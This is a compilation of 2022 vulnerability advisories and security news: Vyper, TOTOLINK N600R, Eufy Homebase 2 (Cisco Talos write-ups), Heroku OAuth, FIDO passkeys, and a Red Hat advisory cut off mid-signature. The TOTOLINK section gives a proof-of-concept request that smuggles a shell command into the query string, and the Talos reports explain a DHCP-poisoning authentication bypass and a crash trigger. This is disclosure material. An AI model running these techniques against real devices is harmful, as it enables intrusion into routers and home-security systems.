In WebKitGTK through 2.36.0 (and WPE WebKit), there is a heap-based buffer overflow in WebCore::TextureMapperLayer::setContentsLayer in WebCore/platform/graphics/texmap/TextureMapperLayer.cpp.

CVE-2022-30293: security_advisories/webkitgtk-2.36.0 at master · ChijinZ/security_advisories

Vyper is a pythonic smart contract language for the ethereum virtual machine. Since version 0.3.2, decimals use the full range of the underlying int168 type. multiplication of 168 bit integers can wrap in 256-bit arithmetic, but safemul does not check for that. This has been patched in v0.3.4. There are no known workarounds for this issue.

**safemath for decimals do not check for 256-bit overflow**

**Affected versions**

\>=v0.3.2

**Description**

**Impact**

since v0.3.2, decimals use the full range of the underlying int168 type. multiplication of 168 bit integers can wrap in 256-bit arithmetic, but safemul does not check for that.

**Patches****Workarounds****References**

see #2845

**For more information**

If you have any questions or comments about this advisory:

*   Open an issue in example link to repo
*   Email us at example email address

CVE-2022-29175

**safemath for decimals do not check for 256-bit overflow**

**Package**

pip vyper ( pip )

**Affected versions**

\>=v0.3.2

**Description**

**Impact**

since v0.3.2, decimals use the full range of the underlying int168 type. multiplication of 168 bit integers can wrap in 256-bit arithmetic, but safemul does not check for that.

**Patches**

to patch in v0.3.4

**Workarounds****References**

tracking in #2845

**For more information**

If you have any questions or comments about this advisory:

*   Open an issue in example link to repo
*   Email us at example email address

CVE-2022-29175: Build software better, together

The passwordless future just became closer to reality, as Microsoft, Apple, and Google pledge to make the standard possible across operating systems and browsers.

Apple, Google, and Microsoft will expand support for FIDO Alliance's passwordless standard to make logins easier across mobile devices and desktops.

By expanding support for the password-free sign-in standard from the FIDO Alliance and the World Wide Web (W3) Consortium, Google, Microsoft, and Apple will make it possible for anyone to use their mobile device to sign into an app or website on a nearby device. More importantly, users will be able to access passkeys – their FIDO sign-in credentials – across multiple devices without having to re-enroll every account on each device. This will be a key change from the current reality, where users have to sign into each website or app with each device before they can take advantage of the passwordless feature.

"We plan to implement passwordless support for FIDO Sign-in standards in Android & Chrome. Apple and Microsoft have also announced that they will offer support for their platforms," writes Sampath Srinivas, a product management director for secure authentication at Google and the president of the FIDO Alliance. "This will simplify sign-ins across devices, websites, and applications no matter the platform — without the need for a single password. These capabilities will be available over the course of the coming year."

**Case for No More Passwords**  
Passwords do not provide sufficient security – they can be stolen or guessed if the password itself isn't very good. Weak passwords accounted for more than 80% of all data breaches, according to Verizon's annual Data Breach Investigations Report. Passwords are the single largest attack vector and the root cause of most attacks -- including account takeovers, advanced persistent threats, and ransomware, says Jasson Casey, CTO of Beyond Identity. Four out of five times adversaries rely on stolen credentials for initial access and lateral movement, he says.

"Password-based authentication has failed us. Full stop," Casey says.  

There are more than 921 password attacks every second, writes Vasu Jakkal, corporate vice president of security, compliance, identity, and management at Microsoft. That represents more than double the figure over the past 12 months.

A new Google/Ipsos survey found that one in three Americans share passwords with someone else or have access to someone else's passwords, and 65% of respondents say they reuse passwords. One in five use common words or easy-to-guess terms for passwords, and 52% say they incorporate personal information such as name and birthday into the password.

"The alternatives \[to passwords\] often are unworkable, unwieldy, or just not likely to be adopted by consumers, especially the non-tech-savvy ones or those who are on the lower end of the socio-economic scale," says John Bambenek, principal threat hunter at Netenrich.  

Passwords are still ubiquitous despite the issues because they are relatively easy to implement and people know how to use them, which is why passwords still haven't gone away. Instead, security teams rely on technologies such as multifactor authentication and password managers to provide additional protection to strengthen the security around accounts, platforms, and data. 

However, these controls have made "marginal security gains," Casey says, mainly because they still rely on passwords and the second factors can be intercepted via social engineering methods (such as one-time passwords sent over SMS).

**Cross-Platform Passwordless**  
The good news is that technology is now in place to make passwordless authentication a reality, Casey says. Secure enclaves are prevalent (and resident in nearly every device), and almost all enterprise and consumer apps can leverage secure enclaves to easily delegate passwordless authentication.

The announcement from Google, Microsoft, and Apple indicates the expanded support will be implemented in macOS and Safari, Android and Chrome, and Windows and Edge. The actions used to unlock the mobile device — such as fingerprint, face scan, and device PIN — will give access to the passkey stored on the device. Signing in with the passkey is more secure because it's based on public key cryptography, Srinivas says. Even if the device is lost, the passkeys will sync back to the mobile device from cloud backup, he says.

All of this will be cross-platform. Ideally, a user would be able to sign into a website via Google Chrome on a Windows machine using a passkey on an Apple device.

"This new approach protects against phishing and sign-in will be radically more secure when compared to passwords and legacy multi-factor technologies such as one-time passcodes sent over SMS," the FIDO Alliance said in a statement.  

Implementations that rely on secure enclaves, especially those already built into modern devices, such as the Trusted Platform Module on laptops and desktops, combined with the security posture of the device itself make passwordless authentication a reality, Casey says.

Jennifer Easterly, director of the US Cybersecurity and Infrastructure Security Agency (CISA), praises the announcement, calling it "the type of forward-leaning thinking that will ultimately keep the American people safer online."

Passwordless needs to be easy. "If you don’t consider usability, your users will create your next vulnerability," Casey warns.

Microsoft, Apple, and Google Promise to Expand Passwordless Features

The same attack that allowed a threat actor to steal data from private Heroku GitHub repositories also resulted in the compromise of customer credentials, the company now says.

Salesforce subsidiary Heroku on Thursday said that the threat actor that stole Heroku GitHub integration OAuth tokens in April also accessed an internal database containing hashed and salted passwords belonging to the company's customers.

The discovery prompted Heroku to force a reset of all compromised user passwords and rotate internal Heroku credentials as well. In a security notification, which the company has been constantly updating since April 15, Heroku said it had also put additional detection mechanisms in place to mitigate future issues, without elaborating on what they were.

"We continue to work diligently in response to this Heroku incident first announced on April 15, 2022," the platform-as-a-service vendor said. "We worked with GitHub, our threat intelligence vendors, other industry partners, and have been in touch with law enforcement to assist in our investigation."

**Refresher: The Original GitHub Repo Breach**  
GitHub on April 13 disclosed to Heroku that it had detected a threat actor downloading a subset of Heroku's GitHub private repositories, including source code, on April 9. Heroku said GitHub had notified it about the threat actor gaining access to OAuth tokens issued to the company and using them to enumerate customer accounts. Heroku described the tokens as giving the threat actor read and write access to private customer GitHub repos connected to Heroku.

In an April 15 blog, GitHub CSO Mike Hanley said the threat actor used OAuth user tokens issued to Heroku and another third-party integrator, Travis-CI, to download data from repositories belonging to dozens of organizations, including npm, the node package manager used by millions of developers worldwide.

Hanley said GitHub's investigation showed the attackers also mined the contents of the downloaded GitHub private repositories for data that could be used to attack other infrastructure. He added that the attacks appeared highly targeted because of the way the attackers used the stolen OAuth tokens: First, they listed all the impacted organizations, then selected private repositories of interest and cloned them.

Heroku's investigation of the incident showed that the threat actor had used a stolen OAuth token associated with an internal "machine account" to access a Heroku database containing OAuth tokens that are used for customer GitHub integration.

The threat actor gained access to the Heroku database on April 7 and downloaded the stored tokens — then used them to download customer data two days later, Heroku said. Following that discovery, Heroku revoked all its GitHub integration OAuth tokens to prevent customers from deploying apps via GitHub using Heroku's dashboard or automation.

**Broader Impact Than Initially Assumed**  
Heroku on Thursday said that its ongoing investigation of the breach showed the attacker had used the same machine-account OAuth token to access the internal database containing the hashed usernames and passwords belonging to the company's customers.

The incident has highlighted why organizations need to pay close attention to the security of their OAuth authentication mechanisms, security experts say.

Casey Bisson, head of product and developer relations at BluBracket, says an attack using OAuth tokens can interact with the service that issued the tokens using all the permissions that were granted to the original client. "People and companies depend on OAuth integrations to securely allow another service to access code in private repos, as is needed to support CI tests and run code coverage reports," he says, pointing to two examples.

**OAuth: Better Account Protection, As Long as Tokens Are Safe**  
Compared to the alternative of sharing passwords between services, OAuth tokens enable more secure data sharing. For example, if it had been passwords that were stolen, the level of access the attackers might have gained would likely be even greater. And the initial mitigation and long-term fix would become more complex, Bisson says.

However, OAuth tokens are commonly used to automate cloud services such as code repositories and DevOps pipelines, notes Ray Kelly, fellow at NTT Application Security. So, a malicious actor with a stolen token can steal corporate IP or modify source code in repositories such as GitHub. Or they could use it to spread malware or steal sensitive data from organizations, he says. "Special care should always be taken when it comes to protecting tokens. They should never be publicly available or shared outside of the organization," Kelly says.

GitHub itself has said that starting the end of 2023, it would require all developers who contribute code to the repository to use multifactor authentication to access their accounts. The company described it as a move designed to bolster the security of code and IP stored in GitHub repositories amid a surge in attacks targeting the software supply chain.

Heroku: Cyberattacker Used Stolen OAuth Tokens to Steal Customer Account Credentials

TOTOLINK N600R v5.3c.5507_B20171031 was discovered to contain a command injection vulnerability via the QUERY_STRING parameter in the "Main" function.

**TOTOLINK N600R V5.3c.5507\_B20171031 Has an command injection vulnerability****Overview**

*   **Type**: command injection vulnerability
*   **Vendor**: TOTOLINK (https://www.totolink.net/)
*   **Products**: WiFi Router, such as N600R V5.3c.5507\_B20171031
*   \*\*Firmware download address:\*\*https://www.totolink.net/data/upload/20200728/f984576c47289d782ed65e67edbf06e2.zip

**Description****1.Product Information:**

TOTOLINK N600R V5.3c.5507\_B20171031 router, the latest version of simulation overview：

**2\. Vulnerability details**

TOTOLINK N600R V5.3c.5507\_B20171031 was discovered to contain a command injection vulnerability in the "Main" function. This vulnerability allows attackers to execute arbitrary commands via the QUERY\_STRING parameter.

We can see that the os will get  QUERY_STRING without filter splice to the string ;ps; and execute it. So, If we can control the QUERY_STRING, it can be command injection.

**3\. Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    GET /cgi-bin/downloadFlile.cgi?;ls; HTTP/1.1 
    Host: 192.168.0.1 
    User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0 
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 
    Accept-Encoding: gzip, deflate 
    Connection: keep-alive 
    Upgrade-Insecure-Requests: 1 
    Cache-Control: max-age=0

CVE-2022-27411: GitHub - ejdhssh/IOT_Vul

A denial of service vulnerability exists in the libxm_av.so DemuxCmdInBuffer functionality of Anker Eufy Homebase 2 2.1.8.5h. A specially-crafted set of network packets can lead to a device reboot. An attacker can send packets to trigger this vulnerability.

**Summary**

A denial of service vulnerability exists in the libxm\_av.so DemuxCmdInBuffer functionality of Anker Eufy Homebase 2 2.1.8.5h. A specially-crafted set of network packets can lead to a device reboot. An attacker can send packets to trigger this vulnerability.

**Tested Versions**

Anker Eufy Homebase 2 2.1.8.5h

**Product URLs**

Eufy Homebase 2 - https://us.eufylife.com/products/t88411d1

**CVSSv3 Score**

7.4 - CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H

**CWE**

CWE-190 - Integer Overflow or Wraparound

**Details**

The Eufy Homebase 2 is the video storage and networking gateway that enables the functionality of the Eufy Smarthome ecosystem. All Eufy devices connect back to this device, and this device connects out to the cloud, while also providing assorted services to enhance other Eufy Smarthome devices.

Among the home_security binary’s responsibilities, communications with the cloud and with smarthome devices is the most important. While the binary itself is somewhat opaque with regards to the actual implementation of this, a good chunk of the network functionality is within an imported libxm_av.so library. This library normally creates five different network servers, as so:

      tcp
        32392 - UDPRecvClient path
        32293 - WifiComSend_Pth            
        32295 - WifiComRecv_Pth            
        32290 - DspComSvr_Path - recv   ** not seen **
        32292 - DspComSvr_Path - send   ** not seen **
    
      udp
        32380 - UDPComCreate => UdpRecvSvr_pth 
        32392 - UdpSndSvr                      
    

While the code paths of some of these seem to converge or complement each other, these servers are all related to communications between the Homebase 2 and the smarthome devices. For today’s writeup we take a brief look into the WifiComRecv_Pth on TCP port 32295. Just like all the other ports, this codepath uses the getpeermac() function for defacto authentication, in that a network connection’s IP address must have an arp table entry on the br0 interface to be allowed to talk to any of these ports. Assuming that one has a vulnerabilty to bypass this check (see TALOS-2022-1479, libxm\_av.so getpeermac() authentication bypass vulnerability), or if one has compromised one of the smarthome devices that are resident on the br0 192.168.32.0/24 network, then one can essentially talk to the Eufy Homebase like any other device that has been paired. So what can one do with this?

Looking at the WifiComRecv_Pth, let’s take a look at what the message structure looks like:

    struct WifiComPkt{
        uint32_t magic; //[1]
        uint32_t opcode;
        uint32_t datalen; // [2]
        uint8_t data[]// [3]
    }
    

The packet must start with the magic bytes "\x55\x55\x00\xff" at \[1\]. We have an opcode as expected, and then there’s a datasize at \[2\] which determines the length of the array at \[3\]. All pretty standard. So let’s now examine the code handling these messages:

    void*  WifiComRecv_client_pth(struct mall_20* malloced_arg) { 
        //[...]
        0002d068      while (true)
        0002d068          if (g_XM_RUNNING != 0)  // [4]
        0002d14c              int32_t recv_ret
        0002d14c              uint32_t bytes_demuxed
        0002d14c              char* rbufptr
        0002d14c              do
        0002d088                  recv_ret = recv(sockfd: mall20.fd, buf: &buffer[pWriteOffset], len: 0x400 - pWriteOffset, flags: 0x40) // [5]
        0002d094                  if (recv_ret s> 0)
        0002d0a0                      pWriteOffset = pWriteOffset + recv_ret
        0002d0b4                      bytes_demuxed = DemuxCmdInBuffer(buffer: &buffer[pReadOffset], inpsize: pWriteOffset - pReadOffset, mall_20: &mall20) // [6]
    }
    

The server runs for as long as the g_XM_RUNNING global is switched on at \[4\] and constantly reads packets into a size 0x400 buffer on the stack at \[5\], which is subsequently parsed inside the DemuxCmdInBuffer function at \[6\].

    0002cd04  void* DemuxCmdInBuffer(char* buffer, uint32_t inpsize, struct mall_20* mall_20)
    0002cd6c      uint8_t* var_3c
    // [...]
    0002cde8      int32_t size_m4 = inpsize - 4
    0002cdf4      uint32_t bytes_left = 0
    0002cdf0      if (size_m4 s> 0)
    0002ce00          int32_t size_mc = inpsize - 0xc
    0002ce04          uint32_t bytesread = 0
    0002ce24          do
    0002ce2c              struct WifiPkt* wifipkt = &buffer[bytesread]
    0002ce38              while (wifipkt->magic == 0xff005555)                   // [7]
    0002ce54                  if (bytesread + 0xb s>= inpsize) 
    0002cefc                      return inpsize - bytesread
    0002ce74                  bytes_left = inpsize - bytesread
    0002ce70                  if (bytesread + wifipkt->size + 0xb s>= inpsize)   // [8]
    0002cefc                      return bytes_left
    0002ce7c                  XM_LOG(fname: "Xm_WifiComServer.c", line: 0x8a2, 2, 0, fmtstr: "cmd offset:%d\n", values: bytesread)
    0002ce94                  int32_t wificmd_ret = WifiCommandRespProc(wifipkt: wifipkt, mall_20: mall_20)  // [9]
    

After iterating through our data packet until finding the 0xff005555 magic bytes at \[7\], we finally get to our vulnerability: a lack of checking of the Wifipkt->size field inside the DemuxCmdInBuffer function, which allows us to cause an integer overflow at \[8\]. Unfortunately for attacker purposes, this WifiPkt->datalen field does not actually do that much inside WifiCommandRespProc \[9\] besides being checked and also potentially used as the length in an fwrite call. The best we can really get out of this vulnerability is setting the datalen large enough such that an out-of-bounds read occurs after advancing its read pointer by WifiPkt->datalen+0xb. This results in an unmapped read and a binary crash. If the home_security process crashes enough times within a given period, a device reboot will also occur, resulting in a denial of service.

**Crash Information**

    [ 5886.888000] do_page_fault() #2: sending SIGSEGV to home_security(23710) for invalid read access from
    [ 5886.888000] 282e7aa4 (pc == 778c4e30, ra == 778c4e9c)
    
    <(^.^)>#info reg
              zero       at       v0       v1       a0       a1       a2       a3
     R0   00000000 1100ff00 487f5f11 00000001 00000001 00000001 00000000 00000001
                t0       t1       t2       t3       t4       t5       t6       t7
     R8   00000000 fffffffe 00000000 00000000 9b64c2b0 8758a11c 00000000 00000007
                s0       s1       s2       s3       s4       s5       s6       s7
     R16  b780a0ff 33e09af7 7c5ff9f8 00000010 0000000c ff005555 7700a4d1 7700b920
                t8       t9       k0       k1       gp       sp       s8       ra
     R24  00000000 773d36ec 00000000 00000000 77026560 7c5ff960 7c5ff9d8 76ff6e9c
                sr       lo       hi      bad    cause       pc
          0100ff13 067e836c 001154dc 33e09af7 00800010 76ff6e30
               fsr      fir
          00000000 00000000
    
    <(^.^)>#x/10i $pc-0x10
       0x76d3ae20 <WifiComRecv_client_pth+504>:     li      a1,2280
       0x76d3ae24 <WifiComRecv_client_pth+508>:     li      a2,2
       0x76d3ae28 <WifiComRecv_client_pth+512>:     jalr    t9
       0x76d3ae2c <WifiComRecv_client_pth+516>:     move    a3,zero
    => 0x76d3ae30 <WifiComRecv_client_pth+520>:     lw      gp,32(sp)
       0x76d3ae34 <WifiComRecv_client_pth+524>:     move    s4,s2
       0x76d3ae38 <WifiComRecv_client_pth+528>:     move    s0,s2
       0x76d3ae3c <WifiComRecv_client_pth+532>:     move    s1,zero
       0x76d3ae40 <WifiComRecv_client_pth+536>:     lw      t9,-31148(gp)
    

**Vendor Response**

Fixed version 3.1.8.7 and 3.1.8.7h is in grayscale on Homebase2

**Timeline**

2022-03-11 - Vendor disclosure  
2022-04-15 - Vendor patched  
2022-05-05 - Public disclosure

Discovered by Lilith &gt;\_&gt; of Cisco Talos.

CVE-2022-26073: TALOS-2022-1480 || Cisco Talos Intelligence Group

An authentication bypass vulnerability exists in the libxm_av.so getpeermac() functionality of Anker Eufy Homebase 2 2.1.8.5h. A specially-crafted DHCP packet can lead to authentication bypass. An attacker can DHCP poison to trigger this vulnerability.

**Summary**

An authentication bypass vulnerability exists in the libxm\_av.so getpeermac() functionality of Anker Eufy Homebase 2 2.1.8.5h. A specially-crafted DHCP packet can lead to authentication bypass. An attacker can DHCP poison to trigger this vulnerability.

**Tested Versions**

Anker Eufy Homebase 2 2.1.8.5h

**Product URLs**

Eufy Homebase 2 - https://us.eufylife.com/products/t88411d1

**CVSSv3 Score**

7.1 - CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L

**CWE**

CWE-290 - Authentication Bypass by Spoofing

**Details**

The Eufy Homebase 2 is the video storage and networking gateway that enables the functionality of the Eufy Smarthome ecosystem. All Eufy devices connect back to this device, and this device connects out to the cloud, while also providing assorted services to enhance other Eufy Smarthome devices.

Among the home_security binary’s responsibilities, communications with the cloud and with smarthome devices is the most important. While the binary itself is somewhat opaque with regards to the actual implementation of this, a good chunk of the network functionality is within an imported libxm_av.so library. This library normally creates five different network servers, as so:

      tcp
        32392 - UDPRecvClient path
        32293 - WifiComSend_Pth            
        32295 - WifiComRecv_Pth            
        32290 - DspComSvr_Path - recv   ** not seen **
        32292 - DspComSvr_Path - send   ** not seen **
    
      udp
        32380 - UDPComCreate => UdpRecvSvr_pth 
        32392 - UdpSndSvr                      
    

While the code paths of some of these seem to converge or complement each other, these servers are all related to communications between the Homebase 2 and the smarthome devices. These communications occur over a seperate network than that of the Homebase’s normal ethernet connection, as it broadcasts a WiFi Hotspot with a hidden SSID that all the smarthome devices can connect to. This WiFi hotspot corresponds to the br0 interface in the Homebase:

    8: br0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue 
        link/ether 8c:85:80:AA:BB:CC brd ff:ff:ff:ff:ff:ff
        inet 192.168.32.2/24 brd 192.168.32.255 scope global br0
           valid_lft forever preferred_lft forever
        inet6 fe80::8e85:80ff:feaa:bbcc/64 scope link 
           valid_lft forever preferred_lft forever
    

When a device is paired to the Homebase, it is statically assigned an IP address in the range of 192.168.32.5 to 192.168.32.21, but if one manually connects to this WiFi AP, a DHCP IP address is assigned starting from 192.168.32.100. While this might seem irrelevant, there are indeed hardcoded checks within these servers to see whether a connected client falls within the 192.168.32.5-192.168.32.21 IP address range, which could determine if a device is authorized to use an opcode or not. There also exist comparisons to the MAC addresses of paired devices, as another authentication method. But for today’s vulnerability, we examine the somewhat related getpeermac() function, which is used to check whether or not a client to any of the above mentioned TCP/UDP ports is allowed to send traffic:

    int32_t getpeermac(int32_t fd, char* sprintf_out){
    
        int32_t addrlne = 0x10
        struct arpreq arp
        memset(addr: &arp, chr: 0, size: 0x44)
        
        struct sockaddr addr
        addr.sin_family.d = 0
        addr.inet_addr = 0
        addr.pad[0].d = 0
        addr.pad[4].d = 0
        
        int32_t peerret = getpeername(fd, &addr, &addrlne) // [1]
        uint32_t $a1_1 = 0xdd
        char* fmtstr
        int32_t $v0
        if (peerret s< 0)
            fmtstr = "getpeermac: getpeername err\n"
        else
            arp.arp_dev[0].d = 'br0'
            arp.arp_pa.sin_family.d = addr.sin_family.d
            arp.arp_pa.inet_addr = addr.inet_addr // [2]
            arp.arp_pa.pad[0].d = addr.pad[0].d
            arp.arp_pa.pad[4].d = addr.pad[4].d
            arp.arp_pa.sin_family = 2
            arp.arp_ha.sin_family = 0
            iret = ioctl(fd, 0x8954, &arp)        // [3]
            if (iret s< 0)
                fmtstr = "getpeermac: ioctrl err\n"
                $a1_1 = 0xe7
        int32_t ret
        if (peerret s< 0 || (peerret s>= 0 && iret s< 0))
            uint8_t* var_7c
            XM_LOG(fname: "PrivateAPI.c", size: $a1_1, 5, 0, fmtstr: fmtstr, values: var_7c)
            ret = 0xfffff447
        if (peerret s>= 0 && $v0 s>= 0)
            sprintf(sprintf_out, 0x3d1d0, zx.d(arp.arp_ha.sin_port.b), [...]  {"%02X:%02X:%02X:%02X:%02X:%02X"} // [4]
            ret = 0
        return ret
    }
    

To summarize, at \[1\], the function gets the client socket IP address of our connection, placing it into addr. At \[2\], this addr’s data is put into the arpreq struct. At \[3\], the 0x8954 ioctl is done, which asks the kernel if there are any arp table entries on the br0 interface that have an IP address corresponding to our client socket. Assuming this all passes, a MAC address string is populated into the sprintf_out parameter pointer at \[4\], and 0x0 is returned by this function. If getpeermac does not return 0x0, the connection is immediately terminated, resulting in an authentication mechanism that is determined by the connection’s interface. To put more plainly, if we try sending traffic to any of these ports over the Homebase’s ethernet connection, the connection is blocked. Only paired smarthome devices are allowed to talk to these servers.

There is however an oversight in this implementation, namely that the Homebase’s eth0 connection is DHCP. Thus, if an attacker is on the same subnet as the Homebase and can DHCP poison the Homebase, the 192.168.32.0/24 range can be placed on both the eth0 interface and the br0 interface. If the attacker subsequently assigns themselves an IP address that matches any device on the br0 interface, then the call to getpeermac() will actually succeed. Again looking at the important parts of getpeermac():

        int32_t peerret = getpeername(fd, &addr, &addrlne) 
    

If our IP address legitimately is 192.168.32.5 for instance, the same IP address as a smarthome device on br0, then getpeername will populate addr with 192.168.32.5 (0xc0a82005).

       iret = ioctl(fd, 0x8954, &arp)       
    

Since we’re looking up 192.168.32.5: Assuming there is an actual device with this IP address, the ioctl will return successfully with the MAC address of the device on br0, allowing us to talk to these ports. But there is one more step to take in this setup. If we put the 192.168.32.0/24 network on the eth0 interface, we actually won’t see any return traffic due to routing priority. To solve this issue, we can simply poison instead with 192.168.32.0/25 or any other smaller subnet that lets us share an IP address with a device on the br0 interface. Since smaller subnets by default take priority to larger subnets in routing tables, we can force the Homebase to send traffic to us instead of the Smarthome devices on br0, regardless of the static arp table entries that get configured for paired devices.

**Vendor Response**

Fixed version 3.1.8.7 and 3.1.8.7h is in grayscale on Homebase2

**Timeline**

2022-03-11 - Vendor disclosure  
2022-04-15 - Vendor patched  
2022-05-05 - Public disclosure

Discovered by Lilith &gt;\_&gt; of Cisco Talos.

CVE-2022-25989: TALOS-2022-1479 || Cisco Talos Intelligence Group

Red Hat Security Advisory 2022-1734-01 - The Migration Toolkit for Containers enables you to migrate Kubernetes resources, persistent volume data, and internal container images between OpenShift Container Platform clusters, using the MTC web console or the Kubernetes API.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

====================================================================                     
Red Hat Security Advisory

Synopsis:          Moderate: Migration Toolkit for Containers (MTC) 1.7.1 security and bug fix update  
Advisory ID:       RHSA-2022:1734-01  
Product:           Red Hat Migration Toolkit  
Advisory URL:      https://access.redhat.com/errata/RHSA-2022:1734  
Issue date:        2022-05-05  
CVE Names:         CVE-2021-3999 CVE-2021-4028 CVE-2021-23177  
                   CVE-2021-31566 CVE-2021-41190 CVE-2021-41771  
                   CVE-2021-41772 CVE-2021-44716 CVE-2021-44717  
                   CVE-2021-45960 CVE-2021-46143 CVE-2022-0261  
                   CVE-2022-0318 CVE-2022-0359 CVE-2022-0361  
                   CVE-2022-0392 CVE-2022-0413 CVE-2022-0778  
                   CVE-2022-1154 CVE-2022-1271 CVE-2022-22822  
                   CVE-2022-22823 CVE-2022-22824 CVE-2022-22825  
                   CVE-2022-22826 CVE-2022-22827 CVE-2022-23218  
                   CVE-2022-23219 CVE-2022-23308 CVE-2022-23852  
                   CVE-2022-25235 CVE-2022-25236 CVE-2022-25315  
                   CVE-2022-25636  
====================================================================  
1. Summary:

The Migration Toolkit for Containers (MTC) 1.7.1 is now available.

Red Hat Product Security has rated this update as having a security impact  
of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which  
gives a detailed severity rating, is available for each vulnerability from  
the CVE link(s) in the References section.

2. Description:

The Migration Toolkit for Containers (MTC) enables you to migrate  
Kubernetes resources, persistent volume data, and internal container images  
between OpenShift Container Platform clusters, using the MTC web console or  
the Kubernetes API.

Security Fix(es) from Bugzilla:

* golang: net/http: Limit growth of header canonicalization cache  
(CVE-2021-44716)

* golang: debug/macho: Invalid dynamic symbol table command can cause panic  
(CVE-2021-41771)

* golang: archive/zip: Reader.Open panics on empty string (CVE-2021-41772)

* golang: syscall: Don't close fd 0 on ForkExec error (CVE-2021-44717)

* opencontainers: OCI manifest and index parsing confusion (CVE-2021-41190)

For more details about the security issue(s), including the impact, a CVSS  
score, and other related information, refer to the CVE page(s) listed in  
the References section.

3. Solution:

For details on how to install and use MTC, refer to:

https://docs.openshift.com/container-platform/latest/migration_toolkit_for_containers/installing-mtc.html

4. Bugs fixed (https://bugzilla.redhat.com/):

2020725 - CVE-2021-41771 golang: debug/macho: invalid dynamic symbol table command can cause panic  
2020736 - CVE-2021-41772 golang: archive/zip: Reader.Open panics on empty string  
2024938 - CVE-2021-41190 opencontainers: OCI manifest and index parsing confusion  
2030801 - CVE-2021-44716 golang: net/http: limit growth of header canonicalization cache  
2030806 - CVE-2021-44717 golang: syscall: don't close fd 0 on ForkExec error  
2040378 - Don't allow Storage class conversion migration if source cluster has only one storage class defined [backend]  
2057516 - [MTC UI] UI should not allow PVC mapping for Full migration  
2060244 - [MTC] DIM registry route need to be exposed to create inter-cluster state migration plans  
2060717 - [MTC] Registry pod goes in CrashLoopBackOff several times when MCG Nooba is used as the Replication Repository  
2061347 - [MTC] Log reader pod is missing velero and restic pod logs.  
2061653 - [MTC UI] Migration Resources section showing pods from other namespaces  
2062682 - [MTC] Destination storage class non-availability warning visible in Intra-cluster source to source state-migration migplan.  
2065837 - controller_config.yml.j2 merge type should be set to merge (currently using the default strategic)  
2071000 - Storage Conversion: UI doesn't have the ability to skip PVC  
2072036 - Migration plan for storage conversion cannot be created if there's no replication repository  
2072186 - Wrong migration type description  
2072684 - Storage Conversion: PersistentVolumeClaimTemplates in StatefulSets are not updated automatically after migration  
2073496 - Errors in rsync pod creation are not printed in the controller logs  
2079814 - [MTC UI] Intra-cluster state migration plan showing a warning on PersistentVolumes page

5. References:

https://access.redhat.com/security/cve/CVE-2021-3999  
https://access.redhat.com/security/cve/CVE-2021-4028  
https://access.redhat.com/security/cve/CVE-2021-23177  
https://access.redhat.com/security/cve/CVE-2021-31566  
https://access.redhat.com/security/cve/CVE-2021-41190  
https://access.redhat.com/security/cve/CVE-2021-41771  
https://access.redhat.com/security/cve/CVE-2021-41772  
https://access.redhat.com/security/cve/CVE-2021-44716  
https://access.redhat.com/security/cve/CVE-2021-44717  
https://access.redhat.com/security/cve/CVE-2021-45960  
https://access.redhat.com/security/cve/CVE-2021-46143  
https://access.redhat.com/security/cve/CVE-2022-0261  
https://access.redhat.com/security/cve/CVE-2022-0318  
https://access.redhat.com/security/cve/CVE-2022-0359  
https://access.redhat.com/security/cve/CVE-2022-0361  
https://access.redhat.com/security/cve/CVE-2022-0392  
https://access.redhat.com/security/cve/CVE-2022-0413  
https://access.redhat.com/security/cve/CVE-2022-0778  
https://access.redhat.com/security/cve/CVE-2022-1154  
https://access.redhat.com/security/cve/CVE-2022-1271  
https://access.redhat.com/security/cve/CVE-2022-22822  
https://access.redhat.com/security/cve/CVE-2022-22823  
https://access.redhat.com/security/cve/CVE-2022-22824  
https://access.redhat.com/security/cve/CVE-2022-22825  
https://access.redhat.com/security/cve/CVE-2022-22826  
https://access.redhat.com/security/cve/CVE-2022-22827  
https://access.redhat.com/security/cve/CVE-2022-23218  
https://access.redhat.com/security/cve/CVE-2022-23219  
https://access.redhat.com/security/cve/CVE-2022-23308  
https://access.redhat.com/security/cve/CVE-2022-23852  
https://access.redhat.com/security/cve/CVE-2022-25235  
https://access.redhat.com/security/cve/CVE-2022-25236  
https://access.redhat.com/security/cve/CVE-2022-25315  
https://access.redhat.com/security/cve/CVE-2022-25636  
https://access.redhat.com/security/updates/classification/#moderate  
https://docs.openshift.com/container-platform/4.10/migration_toolkit_for_containers/mtc-release-notes.html  
https://docs.openshift.com/container-platform/latest/migration_toolkit_for_containers/installing-mtc.html

6. Contact:

The Red Hat security contact is <secalert@redhat.com>. More contact  
details at https://access.redhat.com/security/team/contact/

Copyright 2022 Red Hat, Inc.  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1

iQIVAwUBYnQGqNzjgjWX9erEAQjvjQ/8DjxVShzLVHUL15Y7GP03LaJcaPjItRZD  
3AWvsyJRN7eUWxjTLPcBXpQK4ssgf+SbnAQyGZGKXyoSZsN6c0JJ4fMPBLxctH1c  
VPeAO9Q5OquQQUS3WuYumzUh4vdjO3mpipeHF6L2chY7RIuQYNhxbHRdoPaCby2r  
ipUeZ5pNx7b6Ya0C+CW2xM5jMawMO00LfcvjwHTopdrW2FcJkoHa/0Q9PJ5e9Me7  
W4gb2+jEUSTu4gqK41Yo5yYRXicb5ZtfeziszjDnlh+ZkoW9rqztJyJwfmzOg54+  
NQmslnVTz2Zym69Kdx0Y1erhX6UMU1k5ltQwqiF4G0hCHw8mnlmSTkst9cml18n0  
cP3VJeQ4nvwHGI/DK37yqkUyVeQFJWmCJsIeyFlpDqNCnnHEk7emkjia3xxpLubD  
tw2uUc8RDLiZnWpATYsQRrXN9/+YKzYrft2gHMEpKBHg4l8CaU3Kq2a+zRjid0HP  
G5J2mj7ByL9Do5+5XXC6zOPcufVHdzJity/uXaqcUe/HPcqkn39H5KclbZT1MCpZ  
